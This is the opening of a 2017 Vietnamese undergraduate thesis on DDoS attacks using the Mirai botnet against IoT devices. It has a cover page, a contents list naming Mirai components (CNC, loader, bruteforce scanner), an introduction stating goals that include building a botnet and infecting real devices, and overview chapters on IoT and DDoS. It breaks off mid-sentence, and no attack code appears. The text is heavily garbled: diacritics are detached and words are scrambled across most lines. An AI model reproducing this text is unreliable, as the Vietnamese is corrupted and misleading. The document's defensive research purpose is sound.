Ơ Ế Ỹ Ọ Ệ

BAN C  Y U CHÍNH PH Ậ Ậ H C VI N K  THU T M T MÃ ˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉ

Ề ƯƠ Ồ Ố Ệ Đ  C NG Đ  ÁN T T NGHI P

Ứ Ấ Ế

NGHIÊN C U T N CÔNG DDOS V I BOTNET MIRAI TRÊN CÁC THI T B  INTERNET OF THINGS ( IoT )

ố Ngành: Công ngh  thông tin Chuyên ngành: An toàn thông tin Mã s : 52.48.02.01

ộ Hà N i, 2017

1

Ơ Ế Ỹ Ọ Ệ

BAN C  Y U CHÍNH PH Ậ Ậ H C VI N K  THU T M T MÃ ˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉˉ

Ề ƯƠ Ồ Ố Ệ Đ  C NG Đ  ÁN T T NGHI P

Ứ Ấ

NGHIÊN C U T N CÔNG DDOS V I BOTNET MIRAI TRÊN CÁC THI T B  INTERNET OF THINGS ( IoT )

ố Ngành: Công ngh  thông tin Chuyên ngành: An toàn thông tin Mã s : 52.48.02.01

ớ ệ : ự Sinh viên th c hi n ế ạ ễ Nguy n Th  Đ t L p: AT9A

Ng

ẫ ng d n : ễ ạ ắ

ệ ậ ậ ỹ ườ ướ i h KS. Nguy n M nh Th ng ọ Khoa An toàn thông tin – H c vi n K  thu t m t mã

ọ ổ

ặ ệ                 M i đóng góp trao đ i liên h :                  SĐT: 01699960595 ho c 0949423894. Mail: datnt2308@gmail.com

2

ộ Hà N i, 2017

3

Ụ Ụ M C L C

ụ ệ Danh m c kí hi u và vi ế ắ  5       t .................................................................                                                                      t t

ụ    Danh m c hình v ẽ  6       ...................................................................................

ụ ả 8        Danh m c b ng ........................................................................................

ờ ầ 9        L i nói đ u ...............................................................................................

ệ ề ớ ươ ề   ng 1. T ng quan v  internet of things                                            11      ........................................   Ch   ị  11      ..........................................                                                   1.1. L ch s  hình thành và phát tri n Internet  12                                                                  ........................................................     1.2. Gi ể t v  Internet of Things ử i thi

ổ ừ ố ị ụ

ươ ng 2. T ng quan v  t n công t ổ ổ ề ề ấ ề ấ  16                          ................    ch i d ch v  ddos Ch   ạ  16      .............................................................                                                                      2.1. T ng quan v  an ninh m ng ụ ừ ố ị  16                                                     ...........................................     2.2. T ng quan v  t n công t ch i d ch v

ứ ề ồ

ệ ề

ươ  19        ng 3. Nghiên c u v  mã ngu n botnet mirai ............................                                   Ch ớ                                                                     i thi u v  Botnet Mirai  19      ................................................................   3.1. Gi   ầ ủ  22      3.2. Phân tích các thành ph n c a Botnet Mirai .......................................

ể ự

ấ ệ ươ ế ị  ng 4. Tri n khai th c nghi m botnet mirai trÊn cÁc thi Ch t b                                                                                                                    iot   37      ...............................................................................................................   ả ự                                                                                 4.1. Mô t  37       th c nghi m ............................................................................     ệ ử  37      4.2. Th  nghi m t n công ........................................................................

ế ậ 51         K t lu n ..................................................................................................

ệ ả    Tài li u tham kh o 52                                                                                          ................................................................................

Ph  l cụ ụ  53        ....................................................................................................

4

Ụ Ắ Ệ Ế DANH M C KÍ HI U VÀ VI T T T

|| Ho cặ

& Và

Admin Administrator

ARPANET Advanced Research Projects Agency Network

CNC Command And Control

DDoS Distributed Denial of Service

IP Internet Protocol

IoT Internet of Things

LAN Local Area Metwork

NII National Information Infrastructure

NSF National Science Foundation

MILNET Military Network

TCP/IP Transmission Control Protocol/Internet Protocol

5

Ẽ Ụ DANH M C HÌNH V

ướ ể Hình 1.1. Xu h ng phát tri n IoT. .....................................................12

ử ụ

Hình 3.2. Mirai s  d ng 5 user­agent khác nhau (mirai/bot/table.h). ...................................................................................................................20

ậ ấ ử ụ ừ ỹ d ng  10  k   thu t   t n  công  t ố ị   ch i  d ch   v

ụ  Hình  3.3.  Mirai  s (mirai/bot/attack.h).................................................................................20

ạ ộ ủ Hình 3.4. Mô hình ho t đ ng logic c a các thành ph n. ầ ...................21

ư ụ ấ Hình 3.5. C u trúc th  m c mã ngu n ồ ...............................................21

ế ố ắ Hình 3.6. CNC l ng nghe k t n i (mirai/cnc/main.go). .....................23

ượ ậ ặ

Hình   3.7.   CNC   nh n   đ c   thông   tin   là   bot   ho c   admin (mirai/cnc/main.go).................................................................................24

ừ ậ Hình 3.8. Nh p username t cmd. ........................................................24

ừ ậ Hình 3.9. Nh p password t cmd. .........................................................24

ừ ậ Hình 3.10. Nh p password t cmd. .......................................................25

ậ Hình 3.11. Thông báo đăng nh p thành công. .....................................25

ố ượ ể ớ Hình 3.12. Ki m tra s  l ng Bot connect t i CNC. .........................25

ấ ả Hình 3.13. Thêm và c u hình cho tài kho n m i. ớ ...............................26

Hình 3.14. Hàm AttackInfoLookup.......................................................27

ế ậ

Hình 3.15. Thi t l p network card cho report server (loader/main.c). ...................................................................................................................27

ở ạ ứ ộ Hình 3.16. Kh i t o server ch a mã đ c (loader/main.c). ................28

ừ ậ Hình 3.17. Nh n ip, port, user, pass t STDIN (loader/main.c). .......28

ử ụ ộ Hình 3.18. S  d ng busybox login và lây mã đ c (loader/server.c). . 31

ế ố ổ ắ Hình 3.19. L ng nghe k t n i trên c ng 48101 (scanListen.go). ......31

ế ể ị ị t   b   bruteforce   đ

ượ   Hình   3.20.   Hi n   th   thông   tin   thi c (scanListen.go).........................................................................................32

ấ ế Hình 3.21. Che d u ti n trình (mirai/bot/main.c). ..............................33

ươ ứ ấ Hình 3.22. Các ph ng th c t n công (mirai/bot/attack.c). ..............34

ụ ổ ị Hình 3.23. Kill các c ng d ch v  (mirai/bot/killer.c). .........................34

ả ế ị ạ Hình 3.24. Ngăn c n thi t b  reboot l i (mirai/bot/main.c). ..............35

6

ể ả

ớ     Hình   3.25.   Tài   kho n   dùng   đ   bruteforce   IoT   m i (mirai/bot/scanner.c)...............................................................................35

ớ ị ỉ

ế ị Hình 3.26. Đ a ch  bruteforce thi t b  IoT m i (mirai/bot/scanner.c). ...................................................................................................................35

ử ớ

Hình   3.27.   Bot   g i   thông   tin   các   IoT   m i   đã   bruteforce (mirai/bot/scanner.c)...............................................................................36

Hình 3.28. Khai báo domain và port các server (mirai/bot/table.c).. .36

ở ạ Hình 4.29. Kh i ch y CNC Server. ......................................................38

ủ ặ Hình 4.30. Cài đ t thông tin c a Database (cnc\main.c). ...................39

ậ Hình 4.31. CNC đăng nh p Database (cnc\database.go). ...................39

ở ạ Hình 4.32. Kh i ch y scanListen. .........................................................39

ờ ế ả ừ ở Hình 4.33. M  port 48101 ch  k t qu  t Bot. ..................................40

ậ Hình 4.34. Nh p Bot cho Loader. ..........................................................40

ế ố ế ị ễ Hình 4.35. Loader k t n i thi t b  IoT lây nhi m Malware. ............41

ự ệ Hình 4.36. Loader th c hi n lây lan Malware. ....................................41

ớ Hình 4.37. Attacker telnet t i CNC. ......................................................42

ậ Hình 4.38. Attacker đăng nh p CNC. ...................................................43

ố ớ ổ ể ế

Hình   4.39.   Ki m   tra   k t   n i   t i   c ng   23   là   Bot   hay   Admin (cnc/main.go)............................................................................................44

ế ố ể ị Hình 4.40. Loader hi n th  Bot k t n i thành công. ..........................45

ế ị Hình 4.41. Thông tin Bot scan thi t b  khác. .......................................46

ế ị Hình 4.42. Thông tin thi t b  mà Bot bruteforce thành công. ............47

ấ ậ ệ Hình 4.43. Nh p l nh t n công. ............................................................47

ệ ấ Hình 4.44. L nh hacker dùng t n công. ...............................................48

ế ị ế ề ể Hình 4.45. Thi ị t b  IoT là IP Camera b  chi m quy n ki m soát. . .50

ế ư ượ ấ ị Hình 4.46. Victim b  Attacker t n công khi n l u l ng tăng cao. .50

7

Ả Ụ DANH M C B NG

ự ả ầ B ng 1. Thành ph n th c nghi m. ệ ......................................................37

8

Ờ Ầ L I NÓI Đ U

ụ ừ ố ượ ể ằ ỉ ể ượ Internet of Things là c m t nh m đ  ch  các đ i t ng có th  đ ậ   c nh n

ế ư ự ồ ạ ủ ượ bi t cũng nh  s  t n t i c a chúng và đ

ạ ướ ạ ậ ế ố ộ ị ả ế ớ ủ ế đ n nay, m ng l i v n v t k t n i Internet là m t k ch b n c a th  gi ư c Kenvin Ashton đ a ra năm 1999. Cho   ệ   i hi n

ỗ ồ ậ ộ ị ấ ạ đ i khi mà m i đ  v t, con ng ườ ượ i đ c cung c p m t đ nh danh riêng và t ấ ả  t c

ề ả ả ầ ươ ạ ổ ề đ u có kh  năng truy n t i, trao đ i thông tin qua m ng mà không c n t ng tác

ữ ự ế ườ ớ ườ ườ ớ ạ tr c ti p gi a ng i v i ng i hay ng i v i máy tính. Tóm l ộ ậ   i, IoT là m t t p

ế ị ế ố ớ ế ớ ả ớ ớ ợ h p các thi t b  có kh  năng k t n i v i nhau, v i Internet và v i th  gi i bên

ể ự ệ ệ ộ ngoài đ  th c hi n m t công vi c nào đó.

ố ả ư ộ ổ ướ ớ ươ Trong b i c nh IoT bùng n  nh  là m t xu h ng m i trong t ng lai đi

ề ẩ ữ ữ ệ ạ ớ ở ố ụ   kèm v i nh ng ti n ích thì cũng ti m  n nh ng m i nguy h i và tr  thành m c

ủ ầ ớ ể ệ ả ạ ưở ế ấ tiêu hàng đ u c a gi i Hacker hi n đ i. IoT có th  gây  nh h ng x u n u các

ế ị ả ể ị ễ ậ ộ ở ộ thi t b  b o m t kém có th  b  nhi m mã đ c và tr

ộ ượ ể ề ạ ế ị m ng botnet. Khi hacker đi u khi n m t l ớ ng l n thi thành m t zombie trong   ấ   ẽ ễ t b  IoT s  d  dàng t n

ấ ứ ứ ớ ượ ậ ữ ệ ổ ồ công DDoS đánh s p b t c  th  gì trên Internet v i l ng d  li u kh ng l .

ố ồ ượ ả ố ướ Cu i năm 2016, mã ngu n Mirai đã đ c công b  gây ra  nh h ớ   ng l n

ố ờ ả ớ ẩ kèm theo vô vàn m i lo và cũng là l ả i c nh báo v i các s n ph m IoT trong t

ệ ề ượ ệ ọ ồ ố ươ   ng ứ   t nghi p này là "Nghiên c u ậ lai. Vì v y đ  tài đ ự c ch n khi th c hi n đ  án t

ớ ế ị ấ t n công DDoS v i botnet Mirai trên các thi t b  Internet of Things (IoT)".

ồ ượ ạ ộ ứ ứ ụ ự ệ ằ Đ  án đ c th c hi n nh m m c đích nghiên c u cách th c ho t đ ng và

ủ ể ố ồ ế ị ể ừ ư m i nguy hi m c a mã ngu n botnet Mirai trên thi t b  IoT đ  t đó đ a ra các

ả ố gi i pháp phòng ch ng.

ự ụ ệ ặ ồ M c tiêu đ t ra khi th c hi n đ  án là:

ệ ố ự 1. Xây d ng h  th ng botnet.

ủ ệ ố ạ ộ ứ ứ 2. Nghiên c u cách th c ho t đ ng c a h  th ng botnet.

ộ ố ỹ ể ậ ồ ị 3. Tìm hi u m t s  k  thu t coding thú v  trong mã ngu n.

ễ ộ ế ị ậ ự ấ 4. Lây nhi m mã đ c lên thi ệ t b  th t và th c nghi m t n công DDoS.

ế ủ ứ ể ạ ồ ữ 5. Nghiên c u phát tri n nh ng h n ch  c a mã ngu n.

ề ơ ả ự ụ ệ ả ờ ố ồ Sau th i gian kho ng b n tháng th c hi n đ  án, các m c tiêu v  c  b n đã

ứ ạ ự ấ ọ ờ ạ ượ đ t đ c. Tuy nhiên t n công DDoS IoT là lĩnh v c khoa h c ph c t p, th i gian

ự ồ ươ ế ắ ắ ắ ố ỏ ệ th c hi n đ  án t ấ   ng đ i ng n nên ch c ch n không tránh kh i thi u sót. R t

9

ượ ự ể ồ ư ủ ầ ạ ọ mong đ c s  góp ý c a các th y cô, cũng nh  các b n h c viên đ  đ  án này

ượ ệ ơ đ c hoàn thi n h n.

10

ƯƠ Ổ Ề CH NG 1. T NG QUAN V  INTERNET OF THINGS

ử ể ị 1.1. L ch s  hình thành và phát tri n Internet

ượ ạ ượ ụ ể Internet đ ư ộ c sinh ra nh  m t m ng đ

ể ử ứ ể ạ ượ ệ c phát tri n đ  th  nghi m và nghiên c u b i c ự   c phát tri n cho m c đích quân s . ở ơ M ng có tên ARPANET đã đ

ự ủ ứ ộ ố ỹ

ệ ố ủ ế ồ ố ờ quan d  án nghiên c u nâng cao c a B  qu c phòng M  (DARPA) vào năm 1969   ệ chính là ngu n g c sinh ra Internet. Vào th i đó, h  th ng máy tính ch  y u là h

ố ớ ộ ấ ủ ấ ố ị th ng máy ch  trung tâm và b  coi là r t mong manh đ i v i các cu c t n công tên

ộ ấ ỉ ộ ủ ể ậ ọ ử l a, vì ch  m t cu c t n công có th  phá h y m i thông tin. Do v y, ARPANET

ượ ứ ể ộ ự ự ổ đã đ ệ ố   c xây d ng thành m t d  án nghiên c u đ  phân b  thông tin trên h  th ng

máy tính.

ệ ố ớ ố ề ầ ấ ộ ượ ạ Ban đ u, v i t c đ  truy n th p 56 kbps và h  th ng đã đ ở   c t o nên b i

ứ ệ ườ ạ ọ ở ỹ ượ ế ố ằ ạ các vi n nghiên c u và các tr ng đ i h c M  đ c k t n i b ng m ng gói.

ể ủ ự ệ ả ạ Sau đó s  phát tri n c a công ngh  đã t o kh  năng làm cho ARPANET đóng vai

ư ộ ề ạ ầ trò trung tâm nh  m t m ng truy n thông trong g n 20 năm sau.

ệ ề ả ứ ề

ể ỏ ề ự ể ạ ở ộ Giao th c truy n thông TCP/IP là m t trong các công ngh  n n t ng mà   ử ụ   không th  b  qua khi b n nói v  s  phát tri n Internet. B i DARPA đã s  d ng

ư ứ ẩ ừ ượ TCP/IP nh  là giao th c chu n cho ARPANET, t đó TCP/IP đ

ầ ư ứ ề ẩ ấ ứ thành giao th c chu n trên Internet. R t nhi u đ u t ể   c phát tri n ể    nghiên c u và phát tri n

ượ ữ ữ ự ệ ệ ạ trong công ngh  m ng LAN đã đ c th c hi n vào gi a nh ng năm 1970 đã đóng

ề ể ấ ự góp r t nhi u vào s  phát tri n Internet.

ụ ụ ủ ế ầ ủ ạ ộ ụ   Vào năm 1983, m t ph n c a m ng ARPANET ph c v  ch  y u cho m c

ự ượ ắ ỏ ầ đích quân s  đã đ c c t b  (ph n này có tên là MILNET (MILitary NETwork) và

ầ ạ ủ ạ ượ ể ụ ụ ạ ọ ph n còn l i c a m ng  đ

ứ ượ ứ ề ấ ậ ờ nghiên c u. TCP/IP đã đ c  chuy n  thành m ng ph c v  cho khoa  h c và   ể   c ch p nh n là giao th c truy n thông vào th i đi m

đó.

ự ậ ọ ố ỳ ệ ố   Quĩ khoa h c qu c gia Hoa K  (NSF) đã xây d ng và v n hành h  th ng

ộ ậ ủ ạ m ng đ c l p c a mình có tên là NSFNET vào năm 1986.

ượ ố ể Sau đó, NSFNET và ARPANET đã đ ả   c liên n i đ  hình thành nên b n

ế ớ ủ ầ ẫ ấ m u Internet đ u tiên c a th  gi i (NSFNET đã h p thu ARPANET vào năm

1990).

ộ ế ố ể ủ ự ế ể M t y u t không th  thi u trong s  phát tri n c a Internet đó là thi

ữ ề ộ ườ ầ ậ ơ ở ạ ầ c  s  h  t ng truy n thông tin. M t trong nh ng ng ế ậ   t l p ầ   i đ u tiên nh n ra t m

11

ơ ở ạ ầ ủ ự ệ ề ọ ổ   quan tr ng c a vi c xây d ng c  s  h  t ng truy n thông này chính là phó t ng

ố ỹ ườ ế ấ ư ế ề ạ th ng M  khi đó, ông Al Gore, ng i đã đ a ra k  ho ch NII (k t c u n n thông

ứ ệ ậ ố ế ạ tin qu c gia) vào năm 1993. K  ho ch này t p trung vào vi c nghiên c u và phát

ệ ể ạ ầ ẩ ộ ấ ộ tri n m t m ng siêu nhanh (c p đ  Gbps) và vi c toàn c u hoá nó đã làm l y cò

ế ấ ự ề ệ ề vi c xây d ng k t c u n n truy n thông tin.

ế ượ ỗ ợ ứ Đ n nay, các máy tính cá nhân cũng đã đ c h  tr  giao th c TCP/IP, có

ự ử ắ ơ ẫ ớ ơ ự ạ năng l c x  lý cao h n và ít đ t h n, đã d n t i th c tr ng là công chúng có th

ế ố ử ụ ằ ườ ễ d  dàng k t n i Internet b ng cách s  d ng máy tính cá nhân bình th ể  ề   ng. Đi u

ệ ử ụ ổ ế ế ấ ở này đã khi n cho vi c s  d ng Internet tr  nên r t ph  bi n trong công chúng.

ớ ệ ề 1.2. Gi i thi t v  Internet of Things

ướ 1.2.1. Xu h ể ng phát tri n

ớ ự ủ ể ặ ệ V i s  phát tri n c a Internet, smartphone và đ c bi t là các thi ế ị ả   t b  c m

ế ở ướ ớ ủ ế ớ bi n, Internet of Things đang tr thành xu h ng m i c a th  gi

ượ ậ ụ ế ố ữ ả ị Things đ c đ nh nghĩa là nh ng v t d ng có kh  năng k t n i Internet. Ý t i. Internet of   ưở   ng

ử ư ở ẽ ự ộ ỗ ứ nhà thông minh nh  vào nhà, m  khóa c a, đèn s  t

ẽ ự ộ ề ỉ ệ ộ ạ ẽ ự ộ ậ ể hòa s  t đ ng đi u ch nh nhi t đ , nh c s  t ề    đ ng sáng ch  đ ng, đi u ữ    đ ng b t đ  chào đón…nh ng

ễ ưở ề ọ ỉ ầ ở ự đi u ch  có trong phim khoa h c vi n t ng, đang d n tr ớ   ệ  thành hi n th c v i

ệ công ngh  Internet of Things.

ướ ể Hình 1.1. Xu h ng phát tri n IoT.

12

ưở ề ượ ự ệ ằ ả Ý t ng v  an toàn giao thông đ c th c hi n hóa b ng gi

ế ươ ế ệ ạ ả ươ ượ ạ ằ ả c m bi n ph ng ti n. M ng c m bi n ph ệ ng ti n đ ạ   i pháp m ng ề   c t o nên b ng nhi u

ươ ề ế ệ ặ ậ ph ể ng ti n có tính năng giao ti p V2V đ  giúp truy n ho c nh n thông tin đ ể

ươ ệ ể ậ ế ư ự ặ ố các ph ng ti n khác có th  nh n bi t và d  đoán các tình hu ng ch a ho c đã

ệ ằ ạ ươ ể ự ề ệ ả x y ra. Sau đó, b ng trí tu  nhân t o mà ph ng ti n có th  t ặ   ể  đi u khi n ho c

ườ ả c nh báo cho ng i dùng.

ế ị ượ ử ậ ờ ộ Các thi t b  Internet of Things đ ữ c v n hành nh  nh ng b  vi x  lý SOC

ử ư ộ ườ ư ộ ố ữ bên trong. Không nh  nh ng b  vi x  lý thông th ng, SOC gi ng nh  m t máy

ẹ ượ ọ ệ ử ủ ệ ộ ọ tính tr n v n đ c thu g n trong di n tích c a m t con chip đi n t

ả ỏ ọ ủ ứ ệ ệ ế ả ạ không dây và đ m b o ti ế ố   , có k t n i ử   t ki m đi n. Dù nh  g n, s c m nh c a các vi x  lý

ể ậ ữ ả ơ SOC là không ph i bàn cãi khi nó hoàn toàn có th  v n hành tr n tru nh ng h ệ

ổ ế ư ề ề ặ ấ đi u hành n ng n  nh  Windows hay Linux. SOC r t ph  bi n trong bên trong

ệ ệ ạ các linh ki n đi n tho i.

ị ườ ự ượ ự ẽ ủ Theo d  báo c a IDC, th  tr ng Internet of Things đ c d  báo s  tăng

ệ ớ ầ ạ ỉ ấ g p 3 l n, đ t 1,7 nghìn t  USD vào năm 2020. Không ít các doanh nghi p l n đã

ầ ư ủ ề ấ ạ ạ nhìn th y ti m năng c a Internet of Things và m nh d n đ u t vào đây.Tuy

ư ấ ỳ ộ ệ ớ ố

ẽ ầ   nhiên, cũng gi ng nh  b t k  m t công ngh  m i nào, Internet of Things s  c n ạ ệ ể ằ ộ ề ả ể ậ ệ m t n n t ng đ  v n hành.Và các doanh nghi p công ngh  hi u r ng, ai t o ra

ượ ề ả ọ ẽ ẫ ầ ườ ế ắ ướ đ c n n t ng d n đ u, h  s  là ng i chi n th ng trong xu h ớ ng m i này.

Ứ ụ 1.2.2. ự ễ ng d ng th c ti n

ề ờ ưở ệ ộ Nh  Internet of Things, có nhi u ý t ự   ở ng đ c đáo đã tr  thành hi n th c.

ố ơ ủ ố ế ị ỉ Không ch  phát huy t ụ t h n cho công d ng v n có c a thi t b , Internet of Things

ầ ạ ố ẹ ơ ườ ể ể ế còn góp ph n đem l ộ ố i cu c s ng t t đ p h n cho con ng i. Có th  k  đ n nh ư

ộ ả ự ế ắ ỏ Boogio ­ đôi giày thông minh có l p m t c m bi n c c m ng và máy tính Artik

ữ ạ ữ ệ ủ ườ ế ố ớ ớ ỏ ể ư siêu nh  đ  l u tr  l i d  li u c a ng

ồ ườ ồ đ ng h  thông minh. Thông qua đôi giày này, ng i dùng và k t n i v i v i smartphone và   ượ   c ể i dùng có th  tính toán đ

ạ ướ ữ ệ ố hôm nay mình đã ch y bao nhiêu b ậ c, luy n nh ng bài t p nào, đ t cháy bao

ỏ ủ ả ỉ ố ứ ượ ộ ơ ể ẻ ơ nhiêu calo, đo ch  s  s c kh e c a b n thân và có đ c m t c  th  d o dai h n.

ộ ả ưở ừ ủ ế ẩ ấ M t s n ph m khác c a Internet of Things xu t phát t ng ti ý t

ẽ ử ụ ề ộ ẩ ế ợ ế ả ướ ệ   t ki m ớ   c có tên là Weenat. Weenat s  s  d ng các c m bi n v  đ   m, k t h p v i n

ỏ ể ế ị ộ ẩ ệ ố h  th ng các máy tính siêu nh  đ  tính toán đ   m và các quy t đ nh canh tác phù

ệ ố ạ ộ ế ả ượ ặ ự ế ợ h p. H  th ng c m bi n ho t đ ng không dây, đ c đ t tr c ti p trên các cánh

13

ờ ấ ữ ẽ ườ ế ố ồ đ ng và có vòng đ i r t dài, s  giúp nh ng ng i nông dân ti ệ t ki m t i đa

ồ ướ ướ ngu n n c dùng cho t i tiêu.

ệ ạ ữ ề ớ ế ị V i vi c t o ra ngày càng nhi u nh ng thi t b  Internet of Things thông

ộ ố ệ ớ ầ ườ ở minh, các hãng công ngh  l n đang góp ph n giúp cu c s ng ng i dùng tr  nên

ố ẹ ủ ọ ỗ ự ữ ừ ệ ạ ơ t t đ p h n. Bên c nh đó, nh ng n  l c không ng ng c a h  trong vi c đ u t

ẹ ẽ ứ ế ạ ộ cho cu c cách m ng Internet of Things còn h a h n s  đem đ n cho con ng ầ ư  ườ   i

ộ ươ ươ ơ ữ m t t ng lai t i sáng h n n a.

ữ ể ố ề ẩ 1.2.3. Nh ng m i nguy hi m ti m  n

ế ị ế ố ớ ỉ ượ ư ả t b  k t n i v i Internet nh ng ch  đ ậ   ệ ằ c b o v  b ng m t

(cid:0) Các thi ẩ ứ ế ặ ậ ẩ kh u mã hóa c ng (hard­coded password) ho c m t kh u y u.

(cid:0) ỗ ổ ệ ả ậ ả ẩ L  h ng b o m t Zero­day trong các s n ph m thông minh hi n nay

ộ ơ ộ ề ạ ặ ở ấ r t nhi u, m  ra m t c  h i khác cho tin t c, botnet và các d ng t ộ   i

ạ ạ ả ở ph m m ng theo đó n y n .

ủ ế ị ư ệ ượ (cid:0) Các CVE c a thi t b  IoT nh  router, hi n cũng đ c public gây ra

ỉ ề ữ ệ ề ắ nh ng lo l ng không ch  v  doanh nghi p mà còn v  uy tín c a c ủ ả

ị ụ ấ nhà cung c p d ch v .

(cid:0) ữ ế ể ậ L p trình IoT trên linux n u không hi u rõ nh ng th  vi n t ư ệ ả ề ử i v  s

ể ấ ậ ề ụ d ng đ  code cũng là 1 v n đ  nguy hi m khi l p trình IoT.

ả ế ị ữ ấ ể (cid:0) B o m t cho các thi ậ t b  IoT là r t khó khăn vì nh ng lý do v  k ề ỹ

ố ớ ả ề ệ ậ ậ ườ thu t, công ngh  và th m chí c  n n văn hóa. Đ i v i ng i dùng

ườ ữ ể ế ấ ậ ả thông th

ệ ấ ạ ớ   ọ ậ ng, đã là r t khó đ  khi n h  c p nh t nh ng b n vá m i ế ị  t b nh t trên máy tính xách tay, đi n tho i thông minh. Ngày nay, thi

ữ ể ỗ ổ ả ậ ả ấ nào cũng có th  có nh ng l

ấ ế ị ữ ả nâng c p firmware hay cài b n vá cho nh ng thi ố    h ng b o m t, khi nhà s n xu t mu n ề   ẽ ấ t b  này s  r t phi n

ph c.ứ

(cid:0) ấ ộ Thay vì t n công máy tính xách tay và cài mã đ c thì hacker l ạ ậ   i t n

ế ị ư ầ ụ d ng các thi t b  IoT, nh  camera giám sát CCTV, đ u ghi DVR,

ệ ố ự ộ ư smartTV hay các h  th ng t đ ng trong nhà. Không nh  máy tính

ệ ấ ế ị bàn hay xách tay, r t khó phát hi n botnet có trong thi t b  IoT.

14

ộ ế ị ộ ẽ ở ễ ể ạ (cid:0) Khi m t thi t b  nhi m mã đ c s  tr  thành bàn đ p đ  phát tán mã

ế ế ị ạ ộ ổ ộ đ c đ n các thi t b  khác hình thành nên m t m ng botnet kh ng l ồ

ượ ở ộ đ c m  r ng nhanh chóng.

15

ƯƠ Ố Ị Ề Ấ Ổ Ừ CH NG 2. T NG QUAN V  T N CÔNG T  CH I D CH V Ụ

DDOS

ổ ề ạ 2.1. T ng quan v  an ninh m ng

ệ ề ữ ệ ứ ứ ầ ả ố Máy tính có ph n c ng ch a d  li u do h  đi u hành qu n lý, đa s  các

ấ ệ ượ ố ạ máy tính nh t là các máy tính trong công ty, doanh nghi p đ

ệ ố ư ế ạ ượ ả Internet. N u nh  máy tính, h  th ng m ng không đ c n i m ng LAN và   ệ ị ệ ố c trang b  h  th ng b o v

ể ị ấ ụ ủ ẽ s  là m c tiêu c a Virus, Worms, Unauthorized User…có th  b  t n công vào máy

ặ ả ệ ố ấ ứ tính ho c c  h  th ng b t c  lúc nào.

ệ ệ ố ỏ ự ạ ậ ạ ả V y an toàn m ng có nghĩa là b o v  h  th ng m ng, máy tính kh i s  phá

ầ ứ ề ạ ầ ỉ ượ ự ử ữ ệ ho i ph n c ng hay ch nh s a d  li u (ph n m m) mà không đ c s  cho phép

ừ ữ ườ ố ấ ạ ả t nh ng ng i c  ý hay vô tình. An toàn m ng cung c p gi i pháp, chính sách,

ệ ố ữ ể ệ ạ ườ ả b o v  máy tính, h  th ng m ng đ  làm cho nh ng ng i dùng trái phép, cũng

ầ ư ấ ợ ứ ề ộ

ệ ố   ậ nh  các ph n m m ch a mã đ c xâm nh p b t h p pháp vào máy tính, h  th ng m ng.ạ

ề ấ ổ ừ ố ị ụ 2.2. T ng quan v  t n công t ch i d ch v

ớ ệ ề ấ ừ ố ị ụ 2.2.1. Gi i thi u v  t n công t ch i d ch v

ấ ừ ự ố ắ ố ị ủ ụ ộ T n công t ch i d ch v  là s  c  g ng làm cho tài nguyên c a m t máy

ể ử ụ ượ ữ ằ ườ ủ ặ tính  không  th  s  d ng   đ c   nh m   vào  nh ng  ng i   dùng  c a  nó.  M c  dù

ệ ươ ủ ấ ể ế ố ị ừ ụ ộ ơ ph ng ti n đ  ti n hành, đ ng c , m c tiêu c a t n công t

ự ố ắ ố ợ ự ủ ư ồ ụ    ch i d ch v  là ộ   khác nhau, nh ng nói chung nó g m có s  ph i h p, s  c  g ng ác ý c a m t

ườ ề ườ ể ố ạ ụ ặ ị ng i hay nhi u ng i đ  ch ng l ậ   i Internet site ho c service (d ch v  Web) v n

ệ ặ ấ ả ạ ờ ị ả hành hi u qu  ho c trong t ộ t c , t m th i hay m t cách không xác đ nh.

ấ ằ ừ ố ị ụ ể ả T n công b ng t ch i d ch v  DoS (Denial of Service) có th  mô t

ữ ả ộ ườ ả ậ ợ hành đ ng ngăn c n nh ng ng ư   nh ử ụ   i dùng h p pháp kh  năng truy c p và s  d ng

ộ ị ụ ậ ạ ồ

ứ ủ ụ ụ ể ố ấ ế ố ớ   ệ vào m t d ch v  nào đó. Nó bao g m vi c làm tràn ng p m ng, m t k t n i v i ượ   c ị d ch v … mà m c đích cu i cùng là máy ch  (Server) không th  đáp  ng đ

ầ ử ụ ụ ừ ể ạ ị các yêu c u s  d ng d ch v  t

ặ ả ộ ệ ố ạ ộ ộ ộ ủ ạ ạ ộ ộ ư    các máy tr m (Client). DoS có th  làm ng ng ấ   ho t đ ng c a m t máy tính, m t m ng n i b  ho c c  m t h  th ng m ng r t

ề ả ự ự ủ ộ ượ ẻ ấ ụ ẽ ế ấ ớ l n.V  b n ch t th c s  c a DoS, k  t n công s  chi m d ng m t l

ử ư ạ ả ấ ộ ớ ớ ng l n tài   ầ   nguyên m ng nh  băng thông, b  nh … và làm m t kh  năng x  lý các yêu c u

ụ ừ ị d ch v  t các client khác.

16

ớ ệ ề a) Gi i thi u v  Botnet

̀ ̀ ́ ́ ̀ ̀ ̣ ̣ ̣ ̣ ̣ ̉ ̀ Môt “bot” la môt loai phân mêm đôc hai cho phep ke tân công gianh quyên

́ ̀ ́ ́ ́ ́ ̃ ưở ̉ ̣ ̉ ̣ ̣

̀ kiêm soat hoan toan may tinh bi anh h ̀ ng. May tinh đang bi nhiên môt “bot” ́ ́ ̀ ̀ ́ ượ ự ̣ th ̣

c goi la zombie. Trên th c tê co hang ngan may tính trên Internet bi ́ ̀ ươ ng đ ̃ ́ ̣ ̣ ̣ ̣ ́ ̀ nhiêm môt sô loai “bot” ma thâm chi không nhân ra no.

́ ̀ ̀ ́ ượ ̉ ̉ ̉ ̣ ̣ (cid:0) May   chu   Bot   kiêm   soat   va   điêu   khiên   môt   botnet   đ ̀   c   goi   la

̀ ́ ̀ ươ ̣ ̣ ̉ botmaster. (cid:0) Bot la môt ch ̀ ng trinh client cho phep Botmaster ra lênh va kiêm

̃ ́ ́ ̣ soat may tinh bi nhiêm.

́ ́ ́ ễ ở ị ̣ ̣ ̣ ̀ Botnet la môt mang l ́ ươ i cac may tinh b  xâm nhâp, lây nhi m b i bot.

ạ ộ b) Nguyên lý ho t đ ng Botnet

́ ̀ ̀ ̀ ̀ ́ ̣ ̣ ̣ ̣ ̉  Môt botnet bao gôm it nhât la môt botmaster va môt hoăc nhiêu bot. Kha

́ ́ ́ ̀ ́ ̀ ợ ́ ơ ̉ ̣ ̣ ̉ ̣ ̣ ̉   năng cua cac botnet hanh đông môt cach phôi h p v i tât ca hoăc môt phân cua

̀ ̀ ́ ́ ượ ở ̉ ̣ ̉ ̣ botnet la nên tang cho khai niêm botnet. Botnet đ

̀ ̀ ̀ ượ ở ̉ ̣ c goi la Botnet­herder. Botnet­herder la ng Kh i nguôn cua Botnet đ

